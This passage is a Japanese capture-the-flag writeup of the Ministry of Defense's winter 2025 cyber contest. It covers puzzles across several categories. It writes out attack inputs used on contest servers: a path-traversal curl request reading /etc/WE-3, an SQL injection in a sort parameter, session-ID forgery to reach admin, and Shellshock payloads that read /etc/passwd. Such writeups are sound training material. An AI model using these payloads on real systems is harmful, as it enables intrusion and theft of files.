1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

防衛省CTF2025 winter writeup

Last updated at Posted at 2025-02-03

はじめに

2024年2月2日に開催された「防衛省サイバーコンテスト」。
それに参加してきた話と、技術的なことを書き記しておこうと思います。

今回CTFに出場するのは2回目(1回目: SECCON Beginners2024)で、個人参加は初めてでした。
結果は...
スクリーンショット 2025-02-02 210259.png

100位は切りたかった!!
と思いつつ、やはり皆さん凄いなという感想。
終わって出た言葉は「いやー悔しい!」でした。
レベル感hちょうどよく、楽しく12時間PCに張り付くことが出来ました。

運営の皆様、参加者の皆様お疲れさまでした。
次回は負けないんだからねっ!!

... それではwrite upと行きましょう。


Write up

info
素人の解き方ですので「そういうのもあるのか」程度でご覧ください

PG: プログラミング

NW: ネットワーク

WE: Webアプリケーション

CY: 暗号

FR: フォレンジック・バイナリ

PW: PWN

TR: トリビア


PG: プログラミング

縮めるだけじゃダメ?(100pts)

マクロ付きexcel (xlsm)が初めに配布されます。
image.png
はじめはこんな感じ
マクロの内容がこんな感じ

GET_FLAG
Sub GET_FLAG()
Worksheets("Sheet1").Activate
Rows("1:7").RowHeight = 80
Columns("A:AT").ColumnWidth = 30
Range("A1:AT7").Interior.Color = RGB(255, 255, 255)
Range("A1:AT1").Interior.Color = RGB(0, 0, 0)
Range("A3:AT3").Interior.Color = RGB(0, 0, 0)
Range("A5:AT5").Interior.Color = RGB(0, 0, 0)
Columns("D").Interior.Color = RGB(255, 255, 255)
Columns("F").Interior.Color = RGB(255, 255, 255)
Columns("J").Interior.Color = RGB(255, 255, 255)
Columns("K").Interior.Color = RGB(255, 255, 255)
Columns("O").Interior.Color = RGB(255, 255, 255)
Columns("S").Interior.Color = RGB(255, 255, 255)
Columns("W").Interior.Color = RGB(255, 255, 255)
Columns("AA").Interior.Color = RGB(255, 255, 255)
Columns("AE").Interior.Color = RGB(255, 255, 255)
Columns("AI").Interior.Color = RGB(255, 255, 255)
Columns("AM").Interior.Color = RGB(255, 255, 255)
Columns("AQ").Interior.Color = RGB(255, 255, 255)
Range("A1:A2").Interior.Color = RGB(255, 255, 255)
Range("C2").Interior.Color = RGB(255, 255, 255)
Range("C4:C5").Interior.Color = RGB(255, 255, 255)
Range("G1:P2").Interior.Color = RGB(255, 255, 255)
Range("P5").Interior.Color = RGB(255, 255, 255)
Range("AR2:AR4").Interior.Color = RGB(255, 255, 255)
Range("AT1:AT2").Interior.Color = RGB(255, 255, 255)
Range("AT4:AT5").Interior.Color = RGB(255, 255, 255)
Range("R2:R4").Interior.Color = RGB(255, 255, 255)
Range("B1:B5").Interior.Color = RGB(0, 0, 0)
Range("E1:E5").Interior.Color = RGB(0, 0, 0)
Range("G3:G5").Interior.Color = RGB(0, 0, 0)
Range("I3:I6").Interior.Color = RGB(0, 0, 0)
Range("L3:L5").Interior.Color = RGB(0, 0, 0)
Range("N3:N7").Interior.Color = RGB(0, 0, 0)
Range("J6").Interior.Color = RGB(0, 0, 0)
Range("L7:M7").Interior.Color = RGB(0, 0, 0)
Range("Q1:Q5").Interior.Color = RGB(0, 0, 0)
Range("AS1:AS5").Interior.Color = RGB(0, 0, 0)
Range("T1:T5").Interior.Color = RGB(0, 0, 0)
Range("V1:V5").Interior.Color = RGB(0, 0, 0)
Range("X1:X5").Interior.Color = RGB(0, 0, 0)
Range("Z1:Z5").Interior.Color = RGB(0, 0, 0)
Range("AB1:AB5").Interior.Color = RGB(0, 0, 0)
Range("AD1:AD5").Interior.Color = RGB(0, 0, 0)
Range("AF1:AF5").Interior.Color = RGB(0, 0, 0)
Range("AH1:AH5").Interior.Color = RGB(0, 0, 0)
Range("AJ1:AJ5").Interior.Color = RGB(0, 0, 0)
Range("AL1:AL5").Interior.Color = RGB(0, 0, 0)
Range("AN1:AN5").Interior.Color = RGB(0, 0, 0)
Range("AP1:AP5").Interior.Color = RGB(0, 0, 0)
Range("AN2").Interior.Color = RGB(255, 255, 255)
Range("AN4").Interior.Color = RGB(255, 255, 255)
Range("T2").Interior.Color = RGB(255, 255, 255)
Range("V4").Interior.Color = RGB(255, 255, 255)
Range("AL2").Interior.Color = RGB(255, 255, 255)
Range("Z2").Interior.Color = RGB(255, 255, 255)
Range("AJ4").Interior.Color = RGB(255, 255, 255)
Range("AH2").Interior.Color = RGB(255, 255, 255)
Range("R2:V2").Interior.Color = RGB(255, 255, 255)
Range("R4:V4").Interior.Color = RGB(255, 255, 255)
Range("W2:AA2").Interior.Color = RGB(255, 255, 255)
Range("W4:AA4").Interior.Color = RGB(255, 255, 255)
Range("AB2:AH2").Interior.Color = RGB(255, 255, 255)
Range("AB4:AH4").Interior.Color = RGB(255, 255, 255)
Range("AI2:AL2").Interior.Color = RGB(255, 255, 255)
Range("AI4:AL4").Interior.Color = RGB(255, 255, 255)
Range("AM2:AR2").Interior.Color = RGB(255, 255, 255)
Range("AM4:AR4").Interior.Color = RGB(255, 255, 255)
End Sub

まぁ名前を見れば(実行すればよさそう...)ってのは想定できました。
そうは問屋が卸さない、実行結果は最初の画像と同じ。
それを見て思ったこととしては、たぶんどこかのタイミングでFLAGが出てる。
最終的に初期化されてるんだろうなと思ったので、ブレークポイントを設定しまくって様子を見ると...
image.png
done!

暗算でもできるけど?(100pts)

C言語で書かれたファイルが最初に渡されます。

PG-2.c
#include <stdio.h>
int main(){int i,j,k,l;k=(((10/2*4/10*4/2)+97)*10)-10;for(i=2;i<=k;++i){l=0;for(j=2;j<i;++j){if(i%j==0){l=1;break;}}if(l==0)printf("%d\r\n",i);}return 0;}

問題は、実行結果の68番目の値と推測される314番目の値を足した数がflagとのことでした。
Cはちんぷんなのでpythonにしたいな――と思いCopilotでpython化。
ついでに314番も計算するようにして全自動化。

PG-2.py
def is_prime(n):
    if n <= 1:
        return False
    for i in range(2, int(n**0.5) + 1):
        if n % i == 0:
            return False
    return True

def get_primes_up_to_k(k):
    primes = []
    for i in range(2, k + 1):
        if is_prime(i):
            primes.append(i)
    return primes

# 定数kの計算
k = (((10 // 2 * 4 // 10 * 4 // 2) + 97) * 10) - 10

# 素数のリストを取得
primes = get_primes_up_to_k(k)

# 68番目と314番目の素数を取得
prime_68 = primes[67]  # 0から始まるので67番目
prime_314 = primes[313]  # 0から始まるので313番目

# 68番目と314番目の素数の合計
result = prime_68 + prime_314

prime_68, prime_314, result

得られた結果は 2420
答えは flag{2420}
done!

loop in loop(300pts)

引数をハッシュ化してうんたらかんたらした時に、
・第一引数: Phoenix
・第二引数: Messiah
だった時の出力値がflagとのこと。
これはその通り計算してあげればいいのでとりあえずCopilotでコードを出して細かい修正を貸した結果がこちら。

PG-5.py
import hashlib

def ripemd160_hash(value):
    h = hashlib.new('ripemd160')
    h.update(value.encode('utf-8'))
    return h.hexdigest()

def calculate_xor_sum(hash1, hash2):
    xor_sum = 0
    for i in range(len(hash1)):
        for j in range(len(hash2)):
            char1, char2 = hash1[i], hash2[j]
            if char1.isdigit() and char2.isdigit():
                xor_sum += int(char1) ^ int(char2)
    return xor_sum

def main(arg1, arg2):
    hash1 = ripemd160_hash(arg1)
    hash2 = ripemd160_hash(arg2)
    xor_sum = calculate_xor_sum(hash1, hash2)
    print("XOR Sum:", xor_sum)

if __name__ == "__main__":
    first_argument = "Phoenix"
    second_argument = "Messiah"
    main(first_argument, second_argument)

結果は flag{5785}
done!


NW: ネットワーク

頭が肝心です(100pts)

初手emlファイルが渡されます。
flagはメールが届くまでに経由した二番目のメールサーバのIPとのことです。
内容はこちら

Return-Path: <no-return@example.com>
X-Original-To: user@example.com
Delivered-To: user@example.com
Received: from smtp.example.com ([172.30.55.96])
    by rfs.example.com; Thu, 28 Dec 2023 17:47:05 +0900 (JST)
Received: from ex.example.com ([10.231.24.42])
    by smtp.example.com; Thu, 28 Dec 2023 17:45:21 +0900 (JST)
To: user@example.com
Subject: [CTF] Mail From NW
From: sender@example.com
Received: from mx.example.com ([172.16.25.39])
    by ex.example.com; Thu, 28 Dec 2023 17:32:47 +0900 (JST)
Received: from mail.example.com ([192.168.52.21])
    by mx.example.com; Thu, 28 Dec 2023 17:32:38 +0900 (JST)
Received: by mail.example.com (Postfix, from userid 33)
    id DE79A41AF7; Thu, 28 Dec 2023 17:32:24 +0900 (JST)
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
Message-Id: <20231228083224.DE79A41AF7@example.com>
Date: Thu, 28 Dec 2023 17:51:24 +0900 (JST)

参加者各位

このメールはサイバーコンテストにおける問題[NW]のメールです。
メールの中からフラグを見つけてください。
ご検討を祈ります。

Dateの時間を見れば経由時間がわかるので、172.16.25.39が二番目だとわかります。
答えは flag{172.16.25.39}
done!

3 Way Handshake?(200pts)

TCPポートスキャン結果のパケットログが渡されます。
オープンポートを小さい順にカンマ(,)で区切ることでflagとなるようです。
ポートスキャン...うっ...頭が...
早速、パケログをWireSharkを使ってみてみます。
image.png
192.168.123.103が攻撃者だってことが分かったので、被害者の192.168.123.115でsyn/ackが帰ってきたログを見ればわかるはず。

ip.src == 192.168.123.115 && tcp.flags.syn == 1

こんな風にフィルターをかけてあげると...
image.png
こんな感じで、開いてるポートが全部出てきました。
答えは flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}
done!

さあ得点は?(200pts)

パケットファイルから攻撃を特定してそのCVEを調べ、CVSSv2のベーススコアがフラグとのこと。
内容はこんな感じ。
image.png
いっぱいリクエスト来てるね!ってことが分かったので、どんなパケット送ってきてるのかなーっていうのを見てみるとこんな感じ。
image.png
すっごい長いし刻んでるしなぁにこれと思いながらCopilotに食わしてみるとこんな回答が来ました。
image.png
ということで、CVE-2011-3192っぽいことが分かったのでベーススコア 7.8 で提出してみると正解でした。
done!


WEB: Webアプリケーション

スクリーンショットがないため、文字での解説です!

簡単には見せません(100pts)

URLが最初に渡されるので、そこに接続すると「このページにフラグはありません」と出てきました。
デバッガーを見ても普通のページなので、/robots.txtに飛んでみると...

User-Agent:*
Disallow:/
Disallow:/red/
Disallow:/gold/
Disallow:/yellow/
Disallow:/blue/
Disallow:/pink/
Disallow:/black/

なんかいっぱいある。
上から順番に接続してみると...
/blueでflgというところに飛べるパスが出てきました。
「このページにフラグがあります」
とのことだったので、デバッガーで見てみると以下のflagが書いてありました。

flag{TakeMeToTheFlag}

done!

試練を乗り越えろ!(100pts)

URLが渡されるのでそこに飛んでみると、「1万問の質問に答えてください。」と出てきます。
内容は、回答を1回するごとに回数がカウントされるようでした。
デバッガーで中をのぞくと、valueタグに回数が書いてある...
valueを 10000 に書き換えて実行すると...
flagが表示されました!

done!

直してる最中なんです(200pts)

渡されるURLのサイトから脆弱性を見つけ出してフラグを入手してねとのことでした。
flagの持っているファイルは "/etc/WE-3" にあるという情報を渡されます。

サイトには、画像がありデバッガーで見てみるとボタンとscriptタグがコメントアウトされていました。
どちらも復活させて実行すると、「関数がないよ」と返信が帰ってくるので、jsの中を見てみると裏でphpを叩いている様子でした。
また、そこへpostすることでtextをとってくるというコードだったので、それっぽくcurlを書いてみました。

curl -X POST -d "fName=../../../../etc/WE-3" https://we3-prod.2025winter-cybercontest.net/secret/download.php

これで実行してみると、flagが帰ってきました。
done!

直接聞いてみたら?(200pts)

URLが渡され、そこからflagを探せとのことでした。
そこにはcheckboxとボタンがあり、実行してみるとデータが帰ってきました。
デバッガーで送信内容を見ると、jsonでデータをやり取りしてるっぽい。
ので、ちょっと試しに同一form内に"flag"というnameでcheckboxを追加し、ボタンを押してみると...

flag帰ってきちゃった!!!

done!

整列!(300pts)

URL先にはtableが用意されていて、カラムはID, Data, flagSeqの3つ。
データの取得数は20個に制限されている様子。

Dataには既にflagの一部が見えていて、データの整列をパラメータから行ってることが確認できました。
sortというパラメータに カラム名+ASC or DESCで渡すとデータの整列がいい感じにできたのでflagSeqで整列してみるも...
5つデータが足りない!!
これは困った...と思いつつも、このソート方法SQL文のそれだよなと思い、わんちゃん感じつつクエリパラメータインジェクションを行ってみました。

https://we5-prod.2025winter-cybercontest.net/index.php?sort=(SELECT table_name FROM information_schema.tables LIMIT 50)--

はい、これですべてのflagを確認できるようになりました。
答えは flag{6f24d2267d87b7b232ed0d6ed3ad2924}
done!


CY: 暗号

エンコード方法は一つじゃない(100pts)

%26%23%78%35%35%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%65%3b%26%23%78%34%32%3b%26%23%78%37%64%3b%56%6d%46%79%61%57%39%31%63%30%56%75%59%32%39%6b%61%57%35%6e%63%77%3d%3d%36%36%36%63%36%31%36%37%37%62

これをデコードしてくださいという問題です。
CyberChefでデコードしていくのが楽かなぁと思い、まずはパーセントコーディングを解いてあげると...

&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;VmFyaW91c0VuY29kaW5ncw==666c61677b

こんなかんじ。
HTMLの文字参照はわかりましたがそれ以外はわからなかったのでCopilotに投げてみました。
image.png
こんな感じの答えが得られました。
あとは並べ替えをして...
flag{VariousEncodingsUcanB}
done!

File Integrity of Long Hash(100pts)

zipファイルと下記の暗号が渡されます。

189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf

zipの中はこんな感じ
image.png
これが99まであります。
中には以下のように書かれていました。

flags_10.txt
flag{346D105B8FF3102191A645} 
flags_11.txt
flag{346D115B8FF3112191A645} 

こんな感じで、各flagの中身はtextファイルの番号と同期して変更されるところがあるようです。

渡された暗号は、Long Hashということと128桁であったことからSHA-512あたりかなーと目星をつけ、以下のようにすべてを比較するpythonファイルを作ってあげるとflags_89.txtが一致していることがわかりました。
done!

Equation of ECC(200pts)

楕円曲線のパラメータは以下の通りとします。

a=56,b=58,p=127

基準点(42,67)と設定した場合、公開鍵の値が下記になる秘密鍵の最も小さい値を答えてください。

公開鍵(53,30)

という問題。
速攻でCopilotに投げました。
出てきたコードはこちら

ECC.py
def inv_mod(k, p):
    return pow(k, p-2, p)

def point_addition(P, Q, a, p):
    if P == Q:
        lam = (3 * P[0]**2 + a) * inv_mod(2 * P[1], p) % p
    else:
        lam = (Q[1] - P[1]) * inv_mod(Q[0] - P[0], p) % p
    x = (lam**2 - P[0] - Q[0]) % p
    y = (lam * (P[0] - x) - P[1]) % p
    return (x, y)

def elliptic_curve_key(base_point, target_point, a, p):
    current_point = base_point
    secret_key = 1
    while current_point != target_point:
        current_point = point_addition(current_point, base_point, a, p)
        secret_key += 1
    return secret_key

a = 56
b = 58
p = 127
base_point = (42, 67)
target_point = (53, 30)

secret_key = elliptic_curve_key(base_point, target_point, a, p)
print(f"秘密鍵の最も小さい値: {secret_key}")

出力は flag{16}
done!


FR: フォレンジック・バイナリ

露出禁止!(100pts)

URLとLogファイルが初めに渡されます。
logから脆弱性を見つけて、サイトからフラグを見つけてくださいとのことでした。

FR-1.log
192.168.100.103 - - [10/Jul/2024:15:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.103 - - [10/Jul/2024:15:36:03 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.100.106 - - [10/Jul/2024:15:40:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [10/Jul/2024:15:40:08 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [10/Jul/2024:15:40:11 +0900] "GET /mypage.php?sesid=MTcyMjM0Nzk5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [11/Jul/2024:09:36:24 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [11/Jul/2024:09:36:29 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:36:30 +0900] "GET /ctf/fr1/index.php?msg=2 HTTP/1.1" 200 478
192.168.100.106 - - [11/Jul/2024:09:45:54 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281
192.168.100.106 - - [12/Jul/2024:16:54:44 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [12/Jul/2024:16:54:50 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [12/Jul/2024:16:54:58 +0900] "GET /mypage.php?sesid=MTcyMjQ0MTU5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [15/Jul/2024:13:05:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [15/Jul/2024:13:05:13 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [15/Jul/2024:13:05:18 +0900] "GET /mypage.php?sesid=MTcyMjQyNzg1NywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.123.101 - - [19/Jul/2024:21:54:42 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.101 - - [19/Jul/2024:21:54:49 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.101 - - [19/Jul/2024:21:54:51 +0900] "GET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg== HTTP/1.1" 200 282
192.168.123.102 - - [21/Jul/2024:16:32:32 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.102 - - [21/Jul/2024:16:32:45 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.102 - - [21/Jul/2024:16:32:52 +0900] "GET /mypage.php?sesid=MTcyMjg5MjM3NCwyLHVzZXIyCg== HTTP/1.1" 200 281
192.168.123.105 - - [25/Jul/2024:12:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.105 - - [25/Jul/2024:12:45:32 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.105 - - [25/Jul/2024:12:25:36 +0900] "GET /mypage.php?sesid=MTcyMzA2NjQ5NCw1LHVzZXI1Cg== HTTP/1.1" 200 281

セッションIDが丸見えなので使いまわそうとすると、「セッションの有効期限が切れました。再度ログインしてください」と言われてダメそう。
セッションIDがBase64でデコードしてあげると、以下のような情報が得られました。

MTcyMjg5MjM3NCwyLHVzZXIyCg==:1722892374,2,user2
MTcyMjMxMjQxNywzLHVzZXIzCg==:1722312417,3,user3
MTcyMjM0Nzk5OSw2LHVzZXI2Cg==:1722347999,6,user6
MTcyMjMzNDE5MiwxLGFkbWluCg==:1722334192,1,admin

userIDにadminといるのでこれでログインを試みたいなーと考えているところで、先頭のデータがUnixtimeっぽいことに気付きます。
そこで、adminの先頭数値をunix -> dateにしてみると...
image.png
恐らく、セッション有効期限であることがわかります。
ということは、この時間を現在時刻+数時間で設定したunixtimeを入れなおし、base64でエンコードしたものをURLとして入れなおしてアクセスしてあげることでなんとログインすることが出来ました。
その先にflagがありました。
done!

成功の証(200pts)

はじめに、pcapファイルが渡されます。
この中には辞書型攻撃っぽい形跡が残されていました。
image.png

成功したパスワードがflagとなるようです。
FTPでの試行となっているので、まずはFTPでソートをしてあげて、内容を見ていると以下のような箇所を見つけることが出来ました。
image.png
これで見るとよくわかりませんが、この3つのどれかでは間違いなさそうなので試行していると、 flag{zyyzzyzy} でヒットしました。
done!

犯人はこの中にいる!(200pts)

はじめに、pcapファイルが渡されます。
このパケログには、ポートスキャンの痕跡が残されているようです。
しかし、内部の攻撃者が外部アドレスに偽って攻撃をしていたということで、その内部攻撃者のIPアドレスがflagとのことでした。
早速ログを見てみましょう。
image.png
外部から攻撃を受けている痕跡がありますね。
59.214.32.56のアドレスを詳細に見てみると、接続元MACアドレスがみな同じでした。
image.png
ということで、"eth.src == 00:0c:29:4d:c2:33"でフィルターをかけてみます。
image.png
いました。
のんきにpingを送っていますね。
犯人は"192.168.204.137"です
done!

chemistry(300pts)

はじめに、バイナリファイルが渡されます。
このプラグラムで「FLAG I AM LUCKY」と表示させるための引数がflagとなるようでした。

まずは内部を見てみたいということで、ubuntuでfileコマンドを利用しELFであることが分かったためghidraで中を見てみます。

main
undefined8 main(undefined8 param_1,long param_2)

{
  char *local_10;
  
  if (*(long *)(param_2 + 8) == 0) {
    printf("[INPUT CODE]");
  }
  else {
    local_10 = strtok(*(char **)(param_2 + 8),",");
    asciiChange(local_10);
    while (local_10 != (char *)0x0) {
      local_10 = strtok((char *)0x0,",");
      if (local_10 != (char *)0x0) {
        asciiChange(local_10);
      }
    }
  }
  putchar(10);
  return 0;
}

どうやら、受け取ったコードをasciiChangeというところに流しているようです。
asciiChangeを見てみましょう

asciiChange
void asciiChange(char *param_1)

{
  int iVar1;
  char local_68 [92];
  int local_c;
  
  builtin_strncpy(local_68,"curl https://fr4.2025winter-cybercontest.net/chemistry?flagSeed=",0x41);
  local_68[0x41] = '\0';
  local_68[0x42] = '\0';
  local_68[0x43] = '\0';
  local_68[0x44] = '\0';
  local_68[0x45] = '\0';
  local_68[0x46] = '\0';
  local_68[0x47] = '\0';
  local_68[0x48] = '\0';
  local_68[0x49] = '\0';
  local_68[0x4a] = '\0';
  local_68[0x4b] = '\0';
  local_68[0x4c] = '\0';
  local_68[0x4d] = '\0';
  local_68[0x4e] = '\0';
  local_68[0x4f] = '\0';
  strcat(local_68,param_1);
  local_c = atoi(param_1);
  if ((local_c < 0) || (0x76 < local_c)) {
    printf("[CODE ERROR]");
  }
  else {
    iVar1 = system(local_68);
    if (iVar1 == -1) {
      printf("[Command Error[");
    }
  }
  return;
}

何か怪しいのがいますね

curl https://fr4.2025winter-cybercontest.net/chemistry?flagSeed=

こちらに適当な数値を渡すと、文字が帰ってきました。
数値別にどのような文字が帰ってくるかを調べて対応表を作ってみます。

what's_ascii.py
import requests

url_base = "https://fr4.2025winter-cybercontest.net/chemistry?flagSeed="

for i in range(200):  # 0から100までの範囲
    url = url_base + str(i)
    response = requests.get(url)
    print(f"flagSeed={i}, Response: {response.text}")
対応表
flagSeed=0, Response:  
flagSeed=1, Response: H
flagSeed=2, Response: HE
flagSeed=3, Response: LI
flagSeed=4, Response: BE
flagSeed=5, Response: B
flagSeed=6, Response: C
flagSeed=7, Response: N
flagSeed=8, Response: O
flagSeed=9, Response: F
flagSeed=10, Response: NE
flagSeed=11, Response: NA
flagSeed=12, Response: MA
flagSeed=13, Response: AL
flagSeed=14, Response: SI
flagSeed=15, Response: P
flagSeed=16, Response: S
flagSeed=17, Response: CL
flagSeed=18, Response: AR
flagSeed=19, Response: K
flagSeed=20, Response: CA
flagSeed=21, Response: SC
flagSeed=22, Response: TI
flagSeed=23, Response: V
flagSeed=24, Response: CR
flagSeed=25, Response: MN
flagSeed=26, Response: FE
flagSeed=27, Response: CO
flagSeed=28, Response: NI
flagSeed=29, Response: CU
flagSeed=30, Response: ZN
flagSeed=31, Response: GA
flagSeed=32, Response: GE
flagSeed=33, Response: AS
flagSeed=34, Response: SE
flagSeed=35, Response: BR
flagSeed=36, Response: KR
flagSeed=37, Response: RB
flagSeed=38, Response: SR
flagSeed=39, Response: Y
flagSeed=40, Response: ZR
flagSeed=41, Response: NB
flagSeed=42, Response: MO
flagSeed=43, Response: TC
flagSeed=44, Response: RU
flagSeed=45, Response: RH
flagSeed=46, Response: PD
flagSeed=47, Response: AG
flagSeed=48, Response: CD
flagSeed=49, Response: IN
flagSeed=50, Response: SN
flagSeed=51, Response: SB
flagSeed=52, Response: TE
flagSeed=53, Response: I
flagSeed=54, Response: XE
flagSeed=55, Response: CS
flagSeed=56, Response: BA
flagSeed=57, Response: LA
flagSeed=58, Response: CE
flagSeed=59, Response: PR
flagSeed=60, Response: ND
flagSeed=61, Response: PM
flagSeed=62, Response: SM
flagSeed=63, Response: EU
flagSeed=64, Response: GD
flagSeed=65, Response: TB
flagSeed=66, Response: DY
flagSeed=67, Response: HO
flagSeed=68, Response: ER
flagSeed=69, Response: TM
flagSeed=70, Response: YB
flagSeed=71, Response: LU
flagSeed=72, Response: HF
flagSeed=73, Response: TA
flagSeed=74, Response: W
flagSeed=75, Response: RE
flagSeed=76, Response: OS
flagSeed=77, Response: IR
flagSeed=78, Response: PT
flagSeed=79, Response: AU
flagSeed=80, Response: HG
flagSeed=81, Response: TI
flagSeed=82, Response: PB
flagSeed=83, Response: BI
flagSeed=84, Response: PO
flagSeed=85, Response: AT
flagSeed=86, Response: RN
flagSeed=87, Response: FR
flagSeed=88, Response: RA
flagSeed=89, Response: AC
flagSeed=90, Response: TH
flagSeed=91, Response: PA
flagSeed=92, Response: U
flagSeed=93, Response: NP
flagSeed=94, Response: PU
flagSeed=95, Response: AM
flagSeed=96, Response: CM
flagSeed=97, Response: BK
flagSeed=98, Response: CF
flagSeed=99, Response: ES
flagSeed=100, Response: FM
flagSeed=101, Response: MD
flagSeed=102, Response: NO
flagSeed=103, Response: LR
flagSeed=104, Response: RF
flagSeed=105, Response: DB
flagSeed=106, Response: SG
flagSeed=107, Response: BH
flagSeed=108, Response: HS
flagSeed=109, Response: MT
flagSeed=110, Response: DS
flagSeed=111, Response: RG
flagSeed=112, Response: CN
flagSeed=113, Response: NH
flagSeed=114, Response: FL
flagSeed=115, Response: MC
flagSeed=116, Response: LV
flagSeed=117, Response: TS
flagSeed=118, Response: OG

ここまで出たら、あとは「FLAG I AM LUCKY」になるようにSeedを組んであげると...
flag{114,47,0,53,0,95,0,71,6,19,39}
done!


PW: PWN

CVE-2014-7169他(100pts)

はじめに、logファイルとURLが渡されます。
このログから、脆弱性を見つけてサーバ内のファイルにアクセスする問題でした。
flagが書かれているパスは、"/etc/PW-1"というところなようです。

log
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/a.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/b.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/c.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/d.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/e.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/f.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/g.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/h.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/i.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/j.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/k.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/l.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/m.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/n.cgi HTTP/1.1" 200 2007 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/o.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/p.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/q.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/r.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/s.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
192.168.123.103 - - [27/Jan/2024:20:02:22 +0900] "GET /cgi-bin/t.cgi HTTP/1.1" 404 453 "-" "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd"
